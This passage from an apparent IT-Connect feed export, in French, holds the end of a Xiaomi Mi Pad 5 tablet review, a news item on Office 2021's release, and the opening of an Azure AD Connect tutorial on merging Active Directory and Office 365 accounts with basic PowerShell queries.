<a href="media/5ae4c4a6.xiaomi-mi-pad-5-exemple-photo-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-01.jpg"><img width="890" height="1200" src="media/5ae4c4a6.xiaomi-mi-pad-5-exemple-photo-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-01.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-01.jpg 890w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-01-550x742.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-01-800x1079.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-01-111x150.jpg 111w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-01-768x1036.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-01-119x160.jpg 119w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-01-37x50.jpg 37w" sizes="(max-width: 890px) 100vw, 890px" /></a>
<a href="media/08b35fd7.xiaomi-mi-pad-5-exemple-photo-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-03.jpg"><img width="890" height="1200" src="media/08b35fd7.xiaomi-mi-pad-5-exemple-photo-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-03.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-03.jpg 890w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-03-550x742.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-03-800x1079.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-03-111x150.jpg 111w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-03-768x1036.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-03-119x160.jpg 119w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-03-37x50.jpg 37w" sizes="(max-width: 890px) 100vw, 890px" /></a>

<p>L'application de la caméra ne contient pas énormément de paramètres, mais il est possible de gérer le format de la prise de vue, d'utiliser le retardateur, d'activer ou non le HDR, d'appliquer des filtres en direct, d'activer ou désactiver la fonction "caméra IA", et bien sûr de gérer la qualité des photos.</p>
<p><img class="aligncenter size-full wp-image-46249" src="media/ac783f7f.xiaomi-mi-pad-5-app-photo.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-app-photo.jpg" alt="" width="800" height="357" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-app-photo.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-app-photo-550x245.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-app-photo-150x67.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-app-photo-768x343.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-app-photo-160x71.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-app-photo-50x22.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Lorsque l'on utile l'appareil photo, si l'on n'utilise pas le zoom, on obtient un cliché d'une qualité satisfaisante et avec un bon niveau de netteté. Par contre, dès que l'on commence à zoomer, il y a un bruit important qui s'installe sur les photos. Le résultat est le même lorsque la luminosité diminue. Le capteur de 13 mpx ne fait pas de miracles.</p>
<p>Le capteur frontal quant à lui suffira pour prendre quelques selfies et effectuer des appels vidéos.</p>
<h2>V. Performances, système, etc... : la Mi Pad 5 au quotidien</h2>
<p>Le Snapdragon 860 épaulé par 6 Go de RAM et le système MIUI 12.5 basé sur Android 11 permettent-ils à cette tablette de répondre à tous les besoins du quotidien ? Voici mon ressenti.</p>
<p><img class="aligncenter size-large wp-image-46220" src="media/d408cb0e.test-xiaomi-mi-pad-5-tablette-12-800x601.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-12-800x601.jpg" alt="" width="800" height="601" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-12-800x601.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-12-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-12-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-12-768x577.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-12-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-12-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-12.jpg 1200w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Après quelques minutes d'utilisation, on se rend compte d'une chose : <strong>la navigation au sein de l'interface est fluide.</strong> Cela signifie que le SoC répond bien, mais il faut dire qu'il est bien aidé par le taux de rafraichissement de l'écran en 120 Hz. Par défaut, nous retrouvons les applications Google ainsi que les applications Xiaomi comme : Navigateur Mi, Mi Vidéo, et ShareMe. L'application WPS Office est également préinstallée.</p>

<a href="media/67599955.test-xiaomi-mi-pad-5-interface-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-01.jpg"><img width="500" height="800" src="media/67599955.test-xiaomi-mi-pad-5-interface-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-01.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-01.jpg 500w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-01-94x150.jpg 94w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-01-100x160.jpg 100w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-01-31x50.jpg 31w" sizes="(max-width: 500px) 100vw, 500px" /></a>
<a href="media/716d5d75.test-xiaomi-mi-pad-5-interface-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-02.jpg"><img width="500" height="800" src="media/716d5d75.test-xiaomi-mi-pad-5-interface-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-02.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-02.jpg 500w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-02-94x150.jpg 94w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-02-100x160.jpg 100w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-02-31x50.jpg 31w" sizes="(max-width: 500px) 100vw, 500px" /></a>
<a href="media/bdd586a6.test-xiaomi-mi-pad-5-interface-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-03.jpg"><img width="500" height="800" src="media/bdd586a6.test-xiaomi-mi-pad-5-interface-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-03.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-03.jpg 500w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-03-94x150.jpg 94w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-03-100x160.jpg 100w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-03-31x50.jpg 31w" sizes="(max-width: 500px) 100vw, 500px" /></a>
<a href="media/81641317.test-xiaomi-mi-pad-5-interface-04.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-04.jpg"><img width="500" height="800" src="media/81641317.test-xiaomi-mi-pad-5-interface-04.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-04.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-04.jpg 500w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-04-94x150.jpg 94w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-04-100x160.jpg 100w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-04-31x50.jpg 31w" sizes="(max-width: 500px) 100vw, 500px" /></a>

<p>Pour les séances de streaming, l'écran sera forcément appréciable, mais<strong> il y autre chose que j'ai beaucoup aimé : c'est la qualité de l'audio.</strong> Avec les quatre haut-parleurs, nous avons le droit à une qualité audio qui est top ! Il y a une belle profondeur sonore et c'est d'autant plus agréable pour regarder un film.</p>
<p>Pour exploiter la taille de l'écran, on peut compter sur les possibilités offertes par MIUI 12.5 :<strong> les fenêtres flottantes et l'affichage fractionné</strong>. Petit bémol sur l'affichage fractionné : il supporte seulement le mode 50/50. J'ai eu quelques difficultés à prendre en main la gestion des fenêtres, mais ensuite c'est appréciable.</p>

<a href="media/610b7134.test-xiaomi-mi-pad-5-interface-05.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-05.jpg"><img width="1000" height="625" src="media/610b7134.test-xiaomi-mi-pad-5-interface-05.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-05.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-05.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-05-550x344.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-05-800x500.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-05-150x94.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-05-768x480.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-05-160x100.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-05-50x31.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a>
<a href="media/09106ded.test-xiaomi-mi-pad-5-interface-06.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-06.jpg"><img width="1000" height="625" src="media/09106ded.test-xiaomi-mi-pad-5-interface-06.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-06.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-06.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-06-550x344.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-06-800x500.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-06-150x94.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-06-768x480.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-06-160x100.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-interface-06-50x31.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a>

<p>Le Snapdragon 860 est déjà présent au sein d'autres smartphones, mais pour voir ce que cette tablette a dans le ventre, je vais faire appelle à deux logiciels de Benchmark : <strong>3D Mark</strong> et <strong>Geekbench 5</strong>.</p>

<a href="media/58ae7baa.Mi-Pad-5-Benchmark-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-01.jpg"><img width="438" height="700" src="media/58ae7baa.Mi-Pad-5-Benchmark-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-01.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-01.jpg 438w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-01-94x150.jpg 94w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-01-100x160.jpg 100w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-01-31x50.jpg 31w" sizes="(max-width: 438px) 100vw, 438px" /></a>
<a href="media/3bd2b85a.Mi-Pad-5-Benchmark-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-03.jpg"><img width="438" height="700" src="media/3bd2b85a.Mi-Pad-5-Benchmark-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-03.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-03.jpg 438w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-03-94x150.jpg 94w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-03-100x160.jpg 100w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-03-31x50.jpg 31w" sizes="(max-width: 438px) 100vw, 438px" /></a>
<a href="media/62c1bd20.Mi-Pad-5-Benchmark-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-02.jpg"><img width="438" height="700" src="media/62c1bd20.Mi-Pad-5-Benchmark-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-02.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-02.jpg 438w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-02-94x150.jpg 94w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-02-100x160.jpg 100w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-02-31x50.jpg 31w" sizes="(max-width: 438px) 100vw, 438px" /></a>
<a href="media/7b9f5e8d.Mi-Pad-5-Benchmark-04.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-04.jpg"><img width="438" height="700" src="media/7b9f5e8d.Mi-Pad-5-Benchmark-04.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-04.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-04.jpg 438w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-04-94x150.jpg 94w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-04-100x160.jpg 100w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Mi-Pad-5-Benchmark-04-31x50.jpg 31w" sizes="(max-width: 438px) 100vw, 438px" /></a>

<p>Par ailleurs, si l'on compare le score AnTuTu de cette tablette avec d'autres modèles, on peut voir qu'elle obtient un meilleur score que les tablettes Samsung Galaxy Tab S6 et Huawei Matepad Pro (5G)</p>
<p>Pour ma part, je peux vous assurer qu'elle fonctionne parfaitement pour de la navigation sur Internet, l'utilisation des réseaux sociaux, le streaming (YouTube, Netflix, Disney+ etc.), mais aussi les jeux. En termes de performances, il n'y a pas d'inquiétudes à avoir, sauf peut être pour des usages très spécifiques... Mais sinon, vous pouvez être rassuré.</p>
<h2>VI. Conclusion</h2>
<p>La tablette Xiaomi Mi Pad 5 propose une belle expérience et elle est agréable à utiliser pour plusieurs raisons : elle tient bien en main malgré sa taille de 11 pouces, son écran est vraiment sympa avec un rendu de l'image qui est top, et surtout elle tourne super bien !</p>
<p>La qualité de fabrication est bonne et le design soigné, le seul bémol sur ce point c'est l'intégration du module photo arrière qui est exposé aux rayures. À voir ce que cela peut donner dans le temps. Si l'on apporte une importance particulière à la connectique, il faut tenir compte du fait qu'il n'y ait pas de slot microSD, pas de port Jack, et il n'y a pas non plus de lecteur d'empreinte, de puce GPS, ni de LED de notifications.</p>
<p><img class="aligncenter size-full wp-image-46251" src="media/fc2b31ea.review-test-xiaomi-mi-pad-5.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/review-test-xiaomi-mi-pad-5.jpg" alt="Test Xiaomi Mi Pad 5" width="800" height="800" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/review-test-xiaomi-mi-pad-5.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/review-test-xiaomi-mi-pad-5-550x550.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/review-test-xiaomi-mi-pad-5-150x150.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/review-test-xiaomi-mi-pad-5-768x768.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/review-test-xiaomi-mi-pad-5-160x160.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/review-test-xiaomi-mi-pad-5-50x50.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<h2>VII. Où acheter la tablette Xiaomi Mi Pad 5 ?</h2>
<p>Pour finir ce test, parlons du prix et de l'<strong>offre de précommande de la tablette Mi Pad 5</strong> ! Actuellement, sur le site Goboo.com (revendeur officiel et partenaire Xiaomi), il y a <strong>une belle offre valable jusqu'au 23 septembre</strong> :</p>
<ul>
<li>Xiaomi Mi Pad 5 (128 Go) à <strong>299 euros </strong></li>
<li>Xiaomi Mi Pad 5 (256 Go) à<strong> 349 euros</strong></li>
</ul>
<p>Avec cette offre de précommande, vous pouvez obtenir une réduction de 50 euros par rapport aux tarifs annoncés. C'est aussi l'occasion d'avoir le modèle 256 Go au prix de la version 128 Go.</p>
<p>La livraison s'annonce rapide puisque les entrepôts de Goboo sont en Espagne et l'appareil bénéficie d'<strong>une garantie de 2 ans</strong>.</p>
<p>Si cela vous branche, voici le lien pour accéder à l'offre : <a href="https://s.zbanx.com/r/nUuQ1iFZAoPi" target="_blank" rel="noopener">Acheter Xiaomi Mi Pad 5</a></p>
<p><strong>Voilà pour mes premières impressions au sujet de la tablette Xiaomi Mi Pad 5 après quelques jours d'utilisation, si vous avez des questions, n'hésitez pas à poster un commentaire.</strong></p>The post <a href="https://www.it-connect.fr/test-xiaomi-mi-pad-5-une-tablette-11-pouces-tres-seduisante/">Test Xiaomi Mi Pad 5 : une tablette 11 pouces très séduisante !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46263
title: Microsoft Office 2021 sortira le 5 octobre, comme Windows 11 !
uri: Microsoft-Office-2021-sortira-le-5-octobre-comme-Windows-11
url: https://www.it-connect.fr/microsoft-office-2021-sortira-le-5-octobre-comme-windows-11/
content:
<p><strong>Le 5 octobre 2021 s'annonce festif chez Microsoft ! La sortie de Windows 11 est prévue à cette date, mais il ne sera pas seul puisque Microsoft Office 2021 sortira le même jour !</strong></p>
<p>Cette nouvelle version de la célèbre suite Microsoft Office sera disponible sous la forme d'une licence perpétuelle, mais aussi à partir d'un abonnement Microsoft 365 / Office 365. D'ailleurs, la formule avec abonnement intègre quelques avantages comme le stockage OneDrive, ce qui n'est pas le cas avec la licence perpétuelle. Cela n'est pas un changement puisque Microsoft fonctionne de cette façon depuis de nombreuses années.</p>
<p>Une version LTSC (<em>Long Term Servicing Channel</em>) sera disponible, ce qui devrait ravir les entreprises puisque cela assure<strong> un support d'Office 2021 sur le long terme : 5 ans de support classique puis 5 ans de support étendu</strong> (payant).</p>
<p>Office 2021 va bénéficier d'une nouvelle interface qui reprend <strong>le style Fluent Design</strong>. Au niveau des nouveautés, on peut noter le support du format<strong> OpenDocument 1.3</strong> utilisé notamment par LibreOffice, et la prise en charge de l'<strong>architecture Apple Silicon</strong> (ARM) sur Mac. De manière générale, la suite Office devrait être améliorée et plus particulièrement Excel avec de meilleures performances.</p>
<p>Passer d'une ancienne version d'Office à Office 2021, ce sera l'occasion de bénéficier des dernières nouveautés, y compris des éventuelles versions intermédiaires, tout en bénéficiant d'un logiciel qui sera régulièrement mis à jour par Microsoft. C'est également l'une des raisons pour laquelle on peut être tenté de basculer sur Office 2021.</p>
<p>Cette semaine, je vous rappelle que Microsoft a publié le <a title="Patch Tuesday – Septembre 2021 : 60 vulnérabilités et 2 zero-day corrigées !" href="https://www.it-connect.fr/patch-tuesday-septembre-2021-60-vulnerabilites-et-2-zero-day-corrigees/" target="_blank" rel="noopener">Patch Tuesday de septembre 2021</a> et que celui-ci a créé la panique dans les entreprises ! En effet, l'installation du patch a généré de <a title="Windows : la mise à jour de septembre crée des problèmes avec les impressions !" href="https://www.it-connect.fr/windows-la-mise-a-jour-de-septembre-cree-des-problemes-avec-les-impressions/" target="_blank" rel="noopener">gros problèmes sur les impressions via des imprimantes partagées sur le réseau</a>.</p>The post <a href="https://www.it-connect.fr/microsoft-office-2021-sortira-le-5-octobre-comme-windows-11/">Microsoft Office 2021 sortira le 5 octobre, comme Windows 11 !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46015
title: Comment fusionner un utilisateur de l’AD local avec un compte Office 365 ?
uri: Comment-fusionner-un-utilisateur-de-l-AD-local-avec-un-compte-Office
url: https://www.it-connect.fr/comment-fusionner-un-utilisateur-de-lad-local-avec-un-compte-office-365/
content:
<h2>I. Présentation</h2>
<p><strong>Dans ce tutoriel, nous allons voir comment fusionner un compte utilisateur de l'Active Directory local avec un compte utilisateur d'Office 365, en s'appuyant sur Azure AD Connect.</strong></p>
<p>Prenons un cas classique : un tenant Office 365 d'un côté, avec des utilisateurs existants et actifs, créés directement dans le Cloud. Un annuaire Active Directory de l'autre, sur les serveurs de l'entreprise, avec des comptes pour les utilisateurs.</p>
<p>Et là, vous souhaitez <strong>mettre en place l'outil Azure AD Connect</strong> pour synchroniser les comptes de l'annuaire Active Directory on-premise avec Office 365. Une bonne idée puisque cela permet de synchroniser de nombreux attributs, dont le nom, le prénom, l'identifiant, l'e-mail, les alias ainsi que le mot de passe. Oui, mais comment procéder lorsque l'on a déjà les utilisateurs dans les deux annuaires et que l'on souhaite<strong> fusionner les comptes</strong> plutôt que de sacrifier les comptes de l'un des deux annuaires ? C'est ce que nous allons voir dans cet article.</p>
<h2>II. Environnement et prérequis</h2>
<p>Pour commencer, je vais décrire mon environnement et le point de départ de ce tutoriel pour éviter les ambiguïtés. Il peut y avoir plusieurs scénarios, d'où l'intérêt de préciser.</p>
<p>Je dispose de :</p>
<ul>
<li>Un tenant Office 365 pour le domaine it-connect.fr</li>
<li>Un domaine Active Directory pour le domaine it-connect.local</li>
</ul>
<p>L'outil <strong>Azure AD Connect est déjà installé</strong> et il est <strong>configuré de manière à synchroniser seulement certaines OUs de mon annuaire Active Directory</strong> local vers Office 365.</p>
<p>Pour le moment, <strong>les unités d'organisation à synchroniser sont vides !</strong> Autrement dit,<strong><span style="color: #ff0000;"> les utilisateurs à fusionner ne doivent pas être dans le périmètre des OUs synchronisées via Azure AD Connect </span></strong>(sauf si vous avez un filtre supplémentaire avec un groupe de sécurité)<strong>.</strong></p>
<p>Si vous avez besoin d'aide pour installer Azure AD Connect, suivez ce tutoriel : <a href="https://www.it-connect.fr/installation-et-configuration-dazure-ad-connect/" target="_blank" rel="noopener">Installation d'Azure AD Connect</a>.</p>
<p>L'objectif est de fusionner le compte Office 365 qui se nomme "<em>florian.o365@it-connect.fr</em>" avec le compte Active Directory de "<em>florian.o365@it-connect.local</em>". Remarquez la subtilité entre le "<em>.fr</em>" et le "<em>.local</em>", c'est important.</p>
<p>Avant de pouvoir synchroniser ce compte dans le but de le fusionner, il va falloir effectuer quelques vérifications, voire modifications !</p>
<h2>III. Fusion des comptes AD / Office 365 : les étapes</h2>
<p>Pour que l'outil Azure AD Connect soit en mesure de faire la correspondance entre les deux comptes existants, et donc faire une fusion, il va <strong>comparer les attributs des objets</strong>. Comme <a href="https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-install-existing-tenant#sync-with-existing-users-in-azure-ad" target="_blank" rel="noopener">l'explique Microsoft dans sa documentation</a>, il y a trois attributs utilisés pour faire la correspondance entre des comptes existants : <strong>userPrincipalName</strong>, <strong>proxyAddresses</strong> et <strong>sourceAnchor</strong>/<strong>immutableID</strong>.</p>
<p>Il y a deux types de correspondances :</p>
<ul>
<li><strong>Soft-match</strong> : correspondance basée sur les attributs userPrincipalName et proxyAddresses</li>
<li><strong>Hard-match</strong> : correspondance basée sur l'attribut sourceAnchor</li>
</ul>
<p>Dans notre cas, nous allons miser sur le soft-match puisque la synchronisation sera nouvelle pour ces comptes : nous allons devoir traiter avec une grande attention les attributs <em>userPrincipalName</em> et <em>proxyAddresses</em> de notre utilisateur.</p>
<h3>A. Mise à jour de l'attribut userPrincipalName</h3>
<p>Nous devons avoir la même valeur pour l'attribut userPrincipalName (appelé UPN) aussi bien dans l'Active Directory que dans Office 365. Pour rappel, cet attribut correspond au nom d'utilisateur dans Office 365 (utilisé pour se connecter) et au "<em>Nom d'ouverture de session de l'utilisateur</em>" dans l'AD.</p>
<p>Pour récupérer la valeur <em>userPrincipalName</em> dans Office 365, on peut regarder dans les "<em>Utilisateurs actifs</em>", à partir du portail Web. Comme ceci :</p>
<p><img class="aligncenter size-full wp-image-46016" src="media/45982af9.office-365-active-directory-merge-utilisateur-01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-01.png" alt="" width="727" height="273" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-01.png 727w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-01-550x207.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-01-150x56.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-01-160x60.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-01-50x19.png 50w" sizes="(max-width: 727px) 100vw, 727px" /></p>
<p><strong>Note</strong> : sur le portail Web, tout à droite de la ligne vous pouvez constater que l'utilisateur est bien de type "<em>Dans le cloud</em>" en regardant la valeur de la colonne "<em>Etat de synchronisation</em>".</p>
<p>On peut aussi procéder avec PowerShell via le module MSOnline (ou un autre module qui permet d'interroger la base de compte Azure AD).</p>
<p>On se connecte à son tenant :</p>
<pre>Connect-MsolService</pre>
<p>On recherche l'utilisateur, en précisant son nom pour le paramètre -SearchString, par exemple.</p>
<pre>Get-MsolUser -All -SearchString "Office"</pre>
<p>La console va retourner :</p>
<pre>UserPrincipalName             DisplayName         isLicensed
-----------------             -----------         ----------
florian.o365@it-connect.fr    Florian Office 365  True</pre>
<p>Cela confirme qu'au niveau d'Office 365, le userPrincipalName est bien "<em>florian.o365@it-connect.fr</em>".</p>
<p>Pour rappel, pour récupérer la liste de tous vos utilisateurs Office 365, il suffit de faire :</p>
<pre>Get-MsolUser -All</pre>
<p><strong>Maintenant, l'idée c'est de reporter la valeur "<em>florian.o365@it-connect.fr</em>" dans l'Active Directory pour l'utilisateur correspondant.</strong></p>
